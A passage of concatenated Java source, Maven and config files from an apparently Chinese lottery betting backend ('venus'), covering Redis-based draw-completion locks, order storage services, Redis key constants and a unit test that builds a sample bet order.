"1") Integer acType ) { LotteryType lotteryType = LotteryType.parseType(lotteryId, playId); Map<String, Long> payoffResult = userOrderAssemService.manualPayoff(orders, lotteryType, playId, lotteryId, platInfoId, acType); return new RetData<>(payoffResult); } } <file_sep>/venus-service/src/main/java/com/babel/venus/storage/redis/DrawPrizeLockRedisService.java package com.babel.venus.storage.redis; import com.babel.venus.config.VenusRefreshConfig; import com.babel.venus.constants.RedisConstants; import com.babel.venus.service.feign.VenusOutServerConsumer; import com.babel.venus.util.ThreadTaskPoolFactory; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.dao.DataAccessException; import org.springframework.data.redis.connection.RedisConnection; import org.springframework.data.redis.core.BoundValueOperations; import org.springframework.data.redis.core.RedisCallback; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Component; import javax.annotation.Resource; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutorService; import java.util.concurrent.TimeUnit; /** * User: joey * Date: 2017/11/15 * Time: 18:42 * 保证所有的机器都执行完开奖流程,才通知hermes,用锁来控制 * 1.调用内部开奖的接口时增加锁 * 2.每个venus开奖完成时检查锁,根据数量匹配,如果数量不匹配,5秒试一次,20秒后还没有,调用hermes */ @Component public class DrawPrizeLockRedisService { private static final Logger logger = LoggerFactory.getLogger(DrawPrizeLockRedisService.class); public static Map<String, Runnable> checkReqHermesLockMap = new ConcurrentHashMap<>(); private ExecutorService HTTP_THREAD_POOL = ThreadTaskPoolFactory.httpCoreThreadTaskPool; @Resource private RedisTemplate redisTemplate; @Resource private VenusRefreshConfig venusRefreshConfig; @Resource private VenusOutServerConsumer venusOutServerConsumer; /** * 设置调用内部开奖的接口时增加锁 */ public long setVenusDrawLock(Long lotteryId, Long pcode) { try { String key = RedisConstants.getVenusDrawLockKey(lotteryId, pcode); long result = redisTemplate.boundValueOps(key).increment(1); redisTemplate.expire(key, RedisConstants.EXPIRE_ONE_HOUR, TimeUnit.SECONDS); logger.info("--> set draw prize lock , lotteryId: {}, pcode: {}, result: {}", lotteryId, pcode, result); return result; } catch (Exception e) { logger.error("--> set draw prize lock error, lotteryId:{}, pcode:{}", lotteryId, pcode, e); } return -1L; } /** * 获取调用内部开奖的接口时增加锁 */ public long getVenusDrawLock(Long lotteryId, Long pcode) { try { String key = RedisConstants.getVenusDrawLockKey(lotteryId, pcode); Long result = (Long) redisTemplate.execute(new RedisCallback() { @Override public Long doInRedis(RedisConnection connection) throws DataAccessException { byte[] _key = key.getBytes(); byte[] value = connection.get(_key); if (value != null) { return new Long(new String(value)); } return null; } }); logger.info("--> get draw prize lock , lotteryId: {}, pcode: {}, result: {}", lotteryId, pcode, result); return result == null ? 0 : result; } catch (Exception e) { logger.error("--> get draw prize lock error, lotteryId:{}, pcode:{}", lotteryId, pcode, e); } return -1L; } /** * 开奖完成后调用hermes的数量 * 与开始执行开奖时生成的锁的数量做匹配,启动新线程监听完成开奖的数量 */ public long setDrawSucReqHermesLock(Long lotteryId, Long pcode) { try { String key = RedisConstants.getDrawSucReqHermesLockKey(lotteryId, pcode); long result = redisTemplate.boundValueOps(key).increment(1); redisTemplate.expire(key, RedisConstants.EXPIRE_ONE_HOUR, TimeUnit.SECONDS); logger.info("--> set draw suc req hermes lock , lotteryId: {}, pcode: {}, result: {}", lotteryId, pcode, result); return result; } catch (Exception e) { logger.error("--> set draw suc req hermes lock error, lotteryId:{}, pcode:{}", lotteryId, pcode, e); } return -1L; } /** * 开奖完成后调用hermes的数量 * 与开始执行开奖时生成的锁的数量做匹配,启动新线程监听完成开奖的数量 */ public long getDrawSucReqHermesLock(Long lotteryId, Long pcode) { try { String key = RedisConstants.getDrawSucReqHermesLockKey(lotteryId, pcode); Long result = (Long) redisTemplate.execute(new RedisCallback() { @Override public Long doInRedis(RedisConnection connection) throws DataAccessException { byte[] _key = key.getBytes(); byte[] value = connection.get(_key); if (value != null) { return new Long(new String(value)); } return null; } }); logger.info("--> get draw suc req hermes lock , lotteryId: {}, pcode: {}, result: {}", lotteryId, pcode, result); return result == null ? 0 : result; } catch (Exception e) { logger.error("--> get draw suc req hermes lock error, lotteryId:{}, pcode:{}", lotteryId, pcode, e); } return -1L; } public CheckReqHermesLock getCheckReqHermesLock(Long lotteryId, Long pcode, int procStatus, int prizeStatus, boolean repairEnter) { return new CheckReqHermesLock(lotteryId, pcode, procStatus, prizeStatus, repairEnter); } /** * 当venus执行完开奖流程后,开启此线程,循环拿取执行完的开奖数量, */ public class CheckReqHermesLock implements Runnable { private Long lotteryId; private Long pcode; private int procStatus; private int prizeStatus; private boolean repairEnter; public CheckReqHermesLock(Long lotteryId, Long pcode, int procStatus, int prizeStatus, boolean repairEnter) { this.lotteryId = lotteryId; this.pcode = pcode; this.prizeStatus = prizeStatus; this.procStatus = procStatus; this.repairEnter= repairEnter; } @Override public void run() { boolean flag = false; for (int i = 0; i < 6; i++) { if (getVenusDrawLock(lotteryId, pcode) <= getDrawSucReqHermesLock(lotteryId, pcode)) { flag = true; break; } else { if (i >= 4) { try { Thread.sleep(10000); } catch (InterruptedException e) { e.printStackTrace(); } } else { try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } } } } if (flag) { logger.info("--> all venus draw prize completed, lotteryId:{}, pcode:{}", lotteryId, pcode); } else { logger.warn("--> some venus draw prize completed, lotteryId:{}, pcode:{}", lotteryId, pcode); } String[] reqDrawHostSplit = venusRefreshConfig.getHermesReqDrawHosts().split(","); for (String host : reqDrawHostSplit) { HTTP_THREAD_POOL.execute(new Runnable() { @Override public void run() { String result = venusOutServerConsumer.hermesDrawPrizeSucHandler(host, pcode, lotteryId, procStatus, prizeStatus, repairEnter); if (result == null) { logger.error("--> send hermes draw suc notice failed,result is null, host:{}, pcode:{}, lotteryId:{}, repairEnter:{}", host, pcode, lotteryId, repairEnter); } else { logger.info("--> send hermes draw suc notice completed, host:{}, pcode:{}, lotteryId:{} ,result :{}, repairEnter:{}", host, pcode, lotteryId, result, repairEnter); } } }); } checkReqHermesLockMap.remove(pcode + "_" + lotteryId); } } } <file_sep>/venus-service/src/test/resources/testResource/venus-mongo.properties mongo.venus.replica=192.168.0.253:27017 mongo.venus.dbname=venus <file_sep>/venus-web/src/main/java/com/babel/venus/web/rest/package-info.java /** * Spring MVC REST controllers. */ package com.babel.venus.web.rest; <file_sep>/venus-service/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <artifactId>venus</artifactId> <groupId>com.babel.venus</groupId> <version>0.0.1-SNAPSHOT</version> </parent> <artifactId>venus-service</artifactId> <packaging>jar</packaging> <name>venus-service</name> <url>http://maven.apache.org</url> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!--lucfier--> <dependency> <artifactId>Lucifer-pour</artifactId> <groupId>com.bc.lottery</groupId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.venus</groupId> <artifactId>venus-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.common</groupId> <artifactId>common-core</artifactId> <exclusions> <exclusion> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> </exclusion> <exclusion> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>com.babel.common</groupId> <artifactId>common-constant</artifactId> <version>${common-constant.version}</version> </dependency> <dependency> <groupId>com.babel.uaa</groupId> <artifactId>uaa-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.forseti</groupId> <artifactId>forseti-api</artifactId> <version>0.0.1-SNAPSHOT</version> <exclusions> <exclusion> <groupId>*</groupId> <artifactId>*</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>com.babel.hermes</groupId> <artifactId>hermes-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.account</groupId> <artifactId>ares-account-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.ares</groupId> <artifactId>Ares-config-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel</groupId> <artifactId>lottery-common-utils</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.common</groupId> <artifactId>common-web</artifactId> <version>${common-web.version}</version> </dependency> <dependency> <groupId>com.babel.common</groupId> <artifactId>common-config</artifactId> <version>${common-config.version}</version> </dependency> <!--<dependency>--> <!--<groupId>com.magic.commons</groupId>--> <!--<artifactId>log</artifactId>--> <!--</dependency>--> <dependency> <groupId>com.babel</groupId> <artifactId>risk-management-api</artifactId> </dependency> <dependency> <groupId>com.babel.basedata</groupId> <artifactId>basedata-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.basedata</groupId> <artifactId>basedata-service</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel</groupId> <artifactId>ares-analysis-api</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> <dependency> <groupId>com.babel.loky</groupId> <artifactId>loky-api</artifactId> <version>0.0.1-SNAPSHOT</version> <exclusions> <exclusion> <groupId>*</groupId> <artifactId>*</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> </dependency> <!-- spring kafka--> <dependency> <groupId>org.springframework.integration</groupId> <artifactId>spring-integration-kafka</artifactId> <version>${spring-integration-kafka.version}</version> </dependency> <dependency> <groupId>tk.mybatis</groupId> <artifactId>mapper</artifactId> <version>3.4.0-babel</version> <exclusions> <exclusion> <groupId>javax.persistence</groupId> <artifactId>persistence-api</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>com.github.spullara.mustache.java</groupId> <artifactId>compiler</artifactId> <version>0.9.5</version> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-feign</artifactId> </dependency> <dependency> <groupId>org.springframework.security.oauth</groupId> <artifactId>spring-security-oauth2</artifactId> </dependency> <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-jwt</artifactId> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-security</artifactId> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-feign</artifactId> </dependency> <dependency> <groupId>io.github.jhipster</groupId> <artifactId>jhipster</artifactId> <version>${jhipster.server.version}</version> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-core</artifactId> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-annotation</artifactId> <version>${dropwizard-metrics.version}</version> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-json</artifactId> <version>${dropwizard-metrics.version}</version> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-jvm</artifactId> <version>${dropwizard-metrics.version}</version> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-servlet</artifactId> <version>${dropwizard-metrics.version}</version> </dependency> <dependency> <groupId>io.dropwizard.metrics</groupId> <artifactId>metrics-servlets</artifactId> </dependency> <dependency> <groupId>com.fasterxml.jackson.datatype</groupId> <artifactId>jackson-datatype-hibernate5</artifactId> </dependency> <dependency> <groupId>com.fasterxml.jackson.datatype</groupId> <artifactId>jackson-datatype-hppc</artifactId> </dependency> <dependency> <groupId>com.fasterxml.jackson.datatype</groupId> <artifactId>jackson-datatype-jsr310</artifactId> </dependency> <dependency> <groupId>com.fasterxml.jackson.datatype</groupId> <artifactId>jackson-datatype-json-org</artifactId> </dependency> <dependency> <groupId>com.fasterxml.jackson.module</groupId> <artifactId>jackson-module-afterburner</artifactId> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> </dependency> <dependency> <groupId>com.hazelcast</groupId> <artifactId>hazelcast</artifactId> </dependency> <dependency> <groupId>com.hazelcast</groupId> <artifactId>hazelcast-hibernate52</artifactId> <version>${hazelcast-hibernate52.version}</version> </dependency> <dependency> <groupId>com.hazelcast</groupId> <artifactId>hazelcast-spring</artifactId> </dependency> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-swagger2</artifactId> <version>${springfox.version}</version> <exclusions> <exclusion> <groupId>org.mapstruct</groupId> <artifactId>mapstruct</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-bean-validators</artifactId> <version>${springfox.version}</version> </dependency> <dependency> <groupId>com.mattbertolini</groupId> <artifactId>liquibase-slf4j</artifactId> <version>${liquibase-slf4j.version}</version> </dependency> <dependency> <groupId>com.ryantenney.metrics</groupId> <artifactId>metrics-spring</artifactId> <version>${metrics-spring.version}</version> </dependency> <dependency> <groupId>com.zaxxer</groupId> <artifactId>HikariCP</artifactId> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>${commons-io.version}</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>${commons-lang.version}</version> </dependency> <dependency> <groupId>com.jcraft</groupId> <artifactId>jzlib</artifactId> <version>${jzlib.version}</version> </dependency> <dependency> <groupId>javax.cache</groupId> <artifactId>cache-api</artifactId> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> </dependency> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-envers</artifactId> </dependency> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-validator</artifactId> </dependency> <dependency> <groupId>org.liquibase</groupId> <artifactId>liquibase-core</artifactId> </dependency> <dependency> <groupId>org.mapstruct</groupId> <artifactId>mapstruct-jdk8</artifactId> <version>${mapstruct.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-actuator</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-autoconfigure</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-configuration-processor</artifactId> <optional>true</optional> <exclusions> <exclusion> <groupId>com.vaadin.external.google</groupId> <artifactId>android-json</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-loader-tools</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-aop</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-jpa</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-elasticsearch</artifactId> </dependency> <dependency> <groupId>net.java.dev.jna</groupId> <artifactId>jna</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-mail</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.security.oauth</groupId> <artifactId>spring-security-oauth2</artifactId> </dependency> <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-jwt</artifactId> </dependency> <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>${jjwt.version}</version> </dependency> <!-- cucumber --> <dependency> <groupId>info.cukes</groupId> <artifactId>cucumber-junit</artifactId> <version>${cucumber.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>info.cukes</groupId> <artifactId>cucumber-spring</artifactId> <version>${cucumber.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> <exclusions> <exclusion> <groupId>com.vaadin.external.google</groupId> <artifactId>android-json</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.assertj</groupId> <artifactId>assertj-core</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>io.gatling.highcharts</groupId> <artifactId>gatling-charts-highcharts</artifactId> <version>${gatling.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.awaitility</groupId> <artifactId>awaitility</artifactId> <version>${awaitility.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>com.jayway.jsonpath</groupId> <artifactId>json-path</artifactId> <scope>test</scope> <!-- parent POM declares this dependency in default (compile) scope --> </dependency> </dependencies> <build> <finalName>venus-service</finalName> <resources> <resource> <directory>src/main/java</directory> <includes> <include>**/*.xml</include> </includes> </resource> </resources> </build> </project> <file_sep>/venus-service/src/main/java/com/babel/venus/service/impl/UserOrderServiceImpl.java package com.babel.venus.service.impl; import com.babel.forseti_order.model.UserOrderPO; import com.babel.venus.service.UserOrderService; import com.babel.venus.storage.mongo.UserOrderMongoService; import com.babel.venus.storage.mysql.UserOrderDbService; import com.babel.venus.storage.redis.UserOrderRedisService; import com.babel.venus.vo.BaseQueryVo; import com.babel.venus.vo.UserOrderVo; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.data.domain.Pageable; import org.springframework.stereotype.Service; import javax.annotation.Resource; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Set; /** * User: joey * Date: 2017/9/4 * Time: 16:43 */ @Service public class UserOrderServiceImpl implements UserOrderService { private static final Logger logger = LoggerFactory.getLogger(UserOrderServiceImpl.class); @Resource private UserOrderRedisService userOrderRedisService; @Resource private UserOrderDbService userOrderDbService; @Resource private UserOrderMongoService userOrderMongoService; @Override public Set<String> getCurrentPCodePlayIdKeys(UserOrderVo vo) { return userOrderRedisService.getCurrentPCodePlayIdKeys(vo); } @Override public List<String> batchPop(String key) { return userOrderRedisService.batchPop(key); } @Override public List<UserOrderPO> batchGetCacheOrders(Long lotteryId, Long pdate, List<String> orderIds) { return userOrderRedisService.batchGetCacheOrders(lotteryId, pdate, orderIds); } @Override public Map<String, UserOrderPO> findCurrentChase(UserOrderVo vo) { List<UserOrderPO> userOrders = userOrderDbService.findOrders(vo); if (userOrders != null && userOrders.size() > 0) { Map<String, UserOrderPO> map = new HashMap<>(); userOrders.forEach((uo) -> { map.put(uo.getOrderId(), uo); }); return map; } return null; } @Override public List<UserOrderPO> findCurrentPCodeOrders(UserOrderVo vo) { return userOrderDbService.findOrders(vo); } @Override public boolean save(UserOrderPO order) { return userOrderMongoService.saveOrder(order); } @Override public boolean batchSaveProcOrder(List<UserOrderPO> orders) { return userOrderMongoService.batchSaveProcOrder(orders); } @Override public boolean batchSaveProcOrderCache(Long pCode, Long lotteryId, List<String> orderIds) { return userOrderRedisService.batchSaveProcOrderCache(pCode, lotteryId, orderIds); } @Override public boolean updateCacheOrders(List<UserOrderPO> orderPOs) { return userOrderRedisService.updateOrders(orderPOs); } /** * 1、订单入库采用分库分表策略, * 2、订单要入两份库,客端一份,平台一份,客端采用以用户分库时间分表,平台采用以平台分库时间分表 * @param orderPOs * @return */ @Override public boolean batchSaveDb(List<UserOrderPO> orderPOs) { return userOrderDbService.batchInsert(orderPOs); } @Override public List<String> queryNoDrawOrderIds(BaseQueryVo vo, Pageable pageable) { return userOrderMongoService.queryNoDrawOrderIds(vo, pageable); } @Override public List<UserOrderPO> queryMongoProcOrders(BaseQueryVo vo) { return userOrderMongoService.queryProcOrders(vo); } @Override public List<UserOrderPO> queryMongoOrders(BaseQueryVo vo) { return userOrderMongoService.queryOrders(vo); } @Override public List<UserOrderPO> queryMongoChaseWinStopOrders(BaseQueryVo vo) { return userOrderMongoService.queryMongoChaseWinStopOrders(vo); } @Override public boolean updateChaseWinStopOrders(BaseQueryVo vo) { return userOrderMongoService.updateChaseWinStopOrders(vo); } @Override public boolean updateMongoOrder(UserOrderPO po) { return userOrderMongoService.updateOrder(po); } } <file_sep>/venus-service/src/main/java/com/babel/venus/storage/redis/UserOrderRedisService.java package com.babel.venus.storage.redis; import com.alibaba.fastjson.JSON; import com.babel.common.core.util.RedisUtil; import com.babel.common.redis.RedisConstant; import com.babel.forseti_order.model.UserOrderPO; import com.babel.venus.constants.RedisConstants; import com.babel.venus.vo.UserOrderVo; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.data.redis.core.ListOperations; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.core.SetOperations; import org.springframework.stereotype.Service; import javax.annotation.Resource; import java.util.ArrayList; import java.util.List; import java.util.Set; import java.util.concurrent.TimeUnit; /** * User: joey * Date: 2017/9/4 * Time: 17:08 */ //todo 是不是所有的redis第一次轻轻出错后都要重试一次 @Service public class UserOrderRedisService { private static final Logger logger = LoggerFactory.getLogger(UserOrderRedisService.class); // private JedisCluster jedis; @Resource private RedisTemplate redisTemplate; /** * 批量获取缓存中未开奖的订单 */ public List<String> batchPop(final String key) { try { List<String> orderIds = new ArrayList<>(); ListOperations<String, String> operations = redisTemplate.opsForList(); for (int i = 0; i < RedisConstants.BATCH_POP_NUM; i++) { String orderId = operations.rightPop(key); if (orderId != null) { orderIds.add(orderId); } else { //如果没拿取到,重试一次 orderId = operations.rightPop(key); if (orderId != null) { orderIds.add(orderId); } else { break; } } } logger.info("--> user order redis batchPop , key : {}, \n orderIds : {} " , key, JSON.toJSONString(orderIds)); return orderIds; } catch (Exception e) { logger.error("--> user order redis batchPop error, key : " + key + ", vo : " + JSON.toJSONString(key), e); } return null; } /** * 批量获取缓存中订单 */ public List<UserOrderPO> batchGetCacheOrders(Long lotteryId, Long pdate, List<String> orderIds) { String key = RedisConstant.getKeyUserOrderMap(lotteryId, pdate); try { List<UserOrderPO> userOrders = redisTemplate.opsForHash().multiGet(key, orderIds); logger.info("--> user order redis batchGetCacheOrders, key : {}, order.size :{} ", key, userOrders.size()); return userOrders; } catch (Exception e) { logger.error("--> user order redis batchGetCacheOrders error , key : " + key, e); } return null; } /** * 获取当期所有有数据的玩法key * 在forseti中拿取 */ public Set<String> getCurrentPCodePlayIdKeys(UserOrderVo vo) { String key = RedisConstant.getKeyUserOrderPlayMap(vo.getLotteryId(), vo.getPcode()); try { SetOperations<String, String> setOperations = redisTemplate.opsForSet(); Set<String> result = setOperations.members(key); logger.info("--> user order redis getCurrentPCodePlayIds, key : {}, playIds:{}", key, JSON.toJSONString(result)); return result; } catch (Exception e) { logger.error("--> user order redis getCurrentPCodePlayIds error , key : " + key, e); } return null; } /** * 修改缓存中的订单 */ public boolean updateOrders(List<UserOrderPO> pos) { try { for (UserOrderPO po : pos) { String key = RedisConstant.getKeyUserOrderMap(po.getLotteryId(), po.getPdate()); redisTemplate.opsForHash().put(key, po.getOrderId(), po); } logger.info("--> user order redis update: {}, order.size :{} ", pos.size()); return true; } catch (Exception e) { logger.error("--> user order redis batchGetCacheOrders error ", e); } return false; } /** * 将处理过的订单id批量存入redis中 * * @param orderIds * @return */ public boolean batchSaveProcOrderCache(Long pcode, Long lotteryId, List<String> orderIds) { String key = RedisConstants.getProccessedOrderIdes(pcode, lotteryId); try { ListOperations<String, String> operations = redisTemplate.opsForList(); Long result = operations.leftPushAll(key, orderIds); redisTemplate.expire(key, RedisConstants.EXPIRE_ONE_HOUR, TimeUnit.SECONDS); return result != null && result > 0; } catch (Exception e) { logger.error("--> user order redis batchSaveProcOrderCache error, pcode:{}, lotteryId:{}, orderIds:{}", pcode, lotteryId, JSON.toJSONString(orderIds), e); } return false; } /*------------------------------------*/ /** * 测试使用 */ /** * 设置玩法id列表 * * @param playId * @param pcode * @return */ public boolean setCurrentPCodePlayIds(long playId, long pcode) { try { String key = RedisConstants.getCurrentBetIds(pcode); SetOperations<String, Long> operations = redisTemplate.opsForSet(); if (operations.isMember(key, pcode)) { return true; } Long result = operations.add(key, playId); redisTemplate.expire(key, RedisConstants.EXPIRE_ONE_HOUR, TimeUnit.SECONDS); return result != null && result > 0; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 添加订单到redis * * @param order * @return */ public boolean setUserOrder(UserOrderPO order) { try { String key = RedisConstants.getCurrentOrders(order.getPcode(), order.getPlayId()); ListOperations<String, UserOrderPO> operations = redisTemplate.opsForList(); Long result = operations.leftPush(key, order); redisTemplate.expire(key, RedisConstants.EXPIRE_ONE_HOUR, TimeUnit.SECONDS); return result != null && result > 0; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 获取某玩法下的订单100条 * * @param key * @return */ public List<UserOrderPO> getOrderList(String key) { try { ListOperations<String, UserOrderPO> operations = redisTemplate.opsForList(); List<UserOrderPO> orders = operations.range(key, 0, 99); return orders; } catch (Exception e) { e.printStackTrace(); } return null; } } <file_sep>/venus-web/src/main/java/com/babel/venus/web/rest/VenusRefreshConfigResource.java package com.babel.venus.web.rest; import com.babel.venus.config.VenusRefreshConfig; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; /** * User: joey * Date: 2017/11/7 * Time: 10:28 */ @RestController public class VenusRefreshConfigResource { @Resource private VenusRefreshConfig venusRefreshConfig; @GetMapping(value = "/help/config/venus_req_draw_hosts", name = "venus开奖后调用的地址") public String getVenusReqDrawHosts() { return venusRefreshConfig.getVenusReqDrawHosts(); } @GetMapping(value = "/help/config/hermes_req_draw_hosts",name = "hermes开奖后调用的地址") public String getHermesReqDrawHosts() { return venusRefreshConfig.getHermesReqDrawHosts(); } } <file_sep>/venus-api/src/main/java/com/babel/venus/constants/RedisConstants.java package com.babel.venus.constants; /** * RedisConstants * * @author zjh * @date 2017/5/10 */ public class RedisConstants { /*24 小时*/ public static final int EXPIRE_ONE_DAY = 60 * 60 * 24; /* 3 小时 */ public static final int EXPIRE_THREE_HOUR = 10800; /* 1 小时 */ public static final int EXPIRE_ONE_HOUR = 3600; /** * 批量pop redis中的数据条数 */ public static final int BATCH_POP_NUM = 300; /** * 单台机器批量pop redis中的数据次数 */ public static final int BATCH_POP_PROC_TIME = 100; /** * 获取当期有订单的玩法列表 */ private static final String current_bet_ids = "v_c_lot_ids"; public static String getCurrentBetIds(long pcode) { return current_bet_ids + "_" + pcode; } /** * 当期未处理的订单列表 */ private static final String current_orders = "v_c_orders"; public static String getCurrentOrders(long pcode, long playId) { return current_orders + "_" + pcode + "_" + playId; } /** * 追单数据处理的锁 */ private static final String chase_draw_win_lock = "v_c_chase_lock"; public static String getChaseDrawWinLock(long pcode, long lotteryId) { return chase_draw_win_lock + "_" + pcode + "_" + lotteryId; } /** * 再次开奖的处理过后的定单id */ private static final String processed_order_ids = "v_c_o_proc_ids_"; public static String getProccessedOrderIdes(long pcode, long lotteryId) { return processed_order_ids + pcode + "_" + lotteryId; } /** * venus开奖调用内部开奖时设置锁 */ private static final String venus_draw_lock = "v_draw_prize_lock_"; public static String getVenusDrawLockKey(Long lotteryId, Long pcode) { return venus_draw_lock + pcode + "_" + lotteryId; } /** * venus开奖完成后调用hermes的数量 */ private static final String venus_draw_suc_req_hermes_lock = "v_suc_r_hermes_lock_"; public static String getDrawSucReqHermesLockKey(Long lotteryId, Long pcode) { return venus_draw_suc_req_hermes_lock + pcode + "_" + lotteryId; } /** * 彩种类型 */ public static final String LOTTERY_TYPES="v_lottery_types_"; } <file_sep>/venus-service/src/test/java/com/babel/venus/test/LotPourTest.java package com.babel.venus.test; import com.alibaba.fastjson.JSON; import com.babel.forseti_order.model.UserOrderPO; import com.babel.venus.enums.WhetherType; import com.babel.venus.service.UserOrderService; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import javax.annotation.Resource; import java.util.ArrayList; import java.util.List; /** * User: joey * Date: 2017/9/11 * Time: 19:47 * 注单测试 */ @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(locations = {"classpath*:springSource/spring-applications.xml"}) public class LotPourTest { @Resource private UserOrderService userOrderService; @Test public void addOrder() { //五星直选复式 long time = System.currentTimeMillis(); UserOrderPO order = new UserOrderPO(); order.setPlatInfoId(10001L); order.setOwnerInfo("10001"); order.setParentOrderId(time + ""); order.setOrderId(time + ""); order.setMemberId(105055L); order.setLotteryId(1L); order.setPlayId(111L); order.setPcode(20170911001L); order.setBetTime(time); order.setReforwardPoint(50); order.setBetMode(10000L); order.setBetCount(10); order.setBetAmount(2000L); order.setBetContent("235,368,46,1234,567"); order.setMultiple(2); order.setMoneyMode("1"); order.setIfChase(WhetherType.no.code()); order.setChaseCount(-1); order.setChaseWinStop(2); order.setWinPayRate(5); order.setOrderStatus(1); order.setSource(1); order.setRemark("本地测试"); order.setCreateTime(time); order.setCreateUser(1000L); order.setModifyTime(time); order.setModifyUser(1000L); order.setCancelFee(0L); String[] betNums = order.getBetContent().split(","); List<List<String>> lists = new ArrayList<>(); for (String betNum : betNums) { 